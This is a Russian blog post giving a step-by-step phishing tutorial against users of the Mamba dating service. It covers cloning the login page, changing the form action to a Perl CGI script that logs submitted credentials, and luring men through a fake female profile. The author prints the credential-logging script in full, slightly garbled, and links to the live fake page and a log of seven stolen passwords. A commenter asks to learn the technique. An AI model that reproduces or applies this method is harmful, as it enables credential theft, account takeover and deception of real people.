• Авторизация


Ламеров надо наказывать. А как - читай ниже. 15-12-2007 11:43 к комментариям - к полной версии - понравилось!


 (53x13, 0Kb)
Вчера-позавчера Исаев решил немного заняться хакингом, а именно той его отраслью, которая называется "социальная инженерия".

Объясню на примере(Хакер и Ламер).

Х: Ну дай пароль, я покажу, как сделать так и так!
Л: Не дам, а вдруг ты хакер?
Х: Я не хакер
Л: На пароль.


Утрирую, конечно, но смысл технологии - натуральный развод. Итак, объясняю уже готовую технологию на примере службы знакомств Mamba. К слову скажу, что эта служба широко представлена на таких порталах как mail.ru, rambler.ru.

К делу, господа.


1. Для начала забегаем на страницу входа юзеров и тупо сохраняем страницу авторизации пользователя. (Ваше имя, ваш пароль) Ок.

2. Регистрируемся на бесплатном анонимном хостинге. Я выбрал замечательный www.fatal.ru. Можно любой другой, хоть www.agava.ru

3. Делаем на рнр либо perl скрипт, который бы принимал ввод всех пользовательских данных. Вот вам пример на perl:

PHP:

#!/usr/bin/perl -w
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=500;
#делаем редирект на картинку
print "Location: image.gif\n\n";
#читаем CGI запрос

$input $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C"hex($1))/eg;
#получаем время запроса и HTTP_REFERER
$now_string localtime;
$ref $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@
LOGtext=<log>;
close (LOG);
#открываем на запись лог
open (LOG">$LogFile");
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach 
$LOGitem (@LOGtext)
{if (
$counter<$mlength){ print LOG "$LOGitem"; };
$counter++;};
#закрываем лог
close (LOG);
exit;
font>



Сохраняем. У меня скрипт назван s.cgi. Картинка s.gif - она будет показана пользователю. Так, для дурости людской.

4. Забрасываем страницу авторизации и скрипт на этот самый хостинг, исправляя в html параметр ACTION у формы на наш великий скрипт. (Скрипты такого вида называеются снифферы). Например у меня s.cgi

5. Проверяем всё хозяйство.

6. Регаемся на www.love.mail.ru. Исаев зарегался на красивую девушку(тьфу! :-)) по имени Ника. Нарыл фотку посимпатичнее. Вот она, красавица http://love.mail.ru/nika_gold . Обратите внимание на рубрику "дневник" - вот наш Клондайк.

7. Вставляем ссылочку, которая привлечет внимание мужской аудитории. Мне лично нравятся кошки(Котька, привет!), поэтому я ставлю ссылку "Просто кошкО", ведущую на поддельную страницу авторизации. Данные которой мой скрипт успеЩно сохраняет в текстовом файле log.txt.

8. Все готово, всё работает. Начинаем знакомиться...

Ламер заходит на страницу, видит красивую девушку, у него начинают течь слюни и кровь приливает от мозга к члену. Простите за грубость, но это так.

В надежде узнать как можно больше о таинственной Нике он шарится по всяким Автопортретам, Фотогалереям и наконец попадает в дневник. Тут работает мужская логика - ага, на знакомствах нельзя сильно эротичных фото, значит она на ссылке... Тыкает. И тут - ой, досада, похоже, обрывается связь с сервером. НУ ничего, введем пароль и пойдем дальше. А вот как раз дальше вступают в работу s.cgi и log.txt...


Канэц:

Чтобы не быть голословным, приведу ссылку на файл лога. Последние значения в каждой строке - это как раз login & password. За 2 дня 7 паролей, учитывая то, что я активно не сидел этой Никой и никому почти не отписывался. А можно было бы... Ой...

http://shpion.fatal.ru/log.txt - лог файл.
http://shpion.fatal.ru/ - поддельная страница авторизации. Даже адрес вверху не закрывал...
вверх^ к полной версии понравилось! в evernote
Комментарии (1):
22-05-2008-23:43 удалить
Привет.
Прочитал твой дневниГ, весь... Ржал как конь )))...
Но вопрос не в этом... Хотелось бы тоже кое чему научиться... Сам в этих делах апсалютный ноль ((( Есть какие нить шансы?


Комментарии (1): вверх^

Вы сейчас не можете прокомментировать это сообщение.

Дневник Ламеров надо наказывать. А как - читай ниже. | MaksimIsaev - Максим Максимович Исаев. Личное дело. | Лента друзей MaksimIsaev / Полная версия Добавить в друзья Страницы: раньше»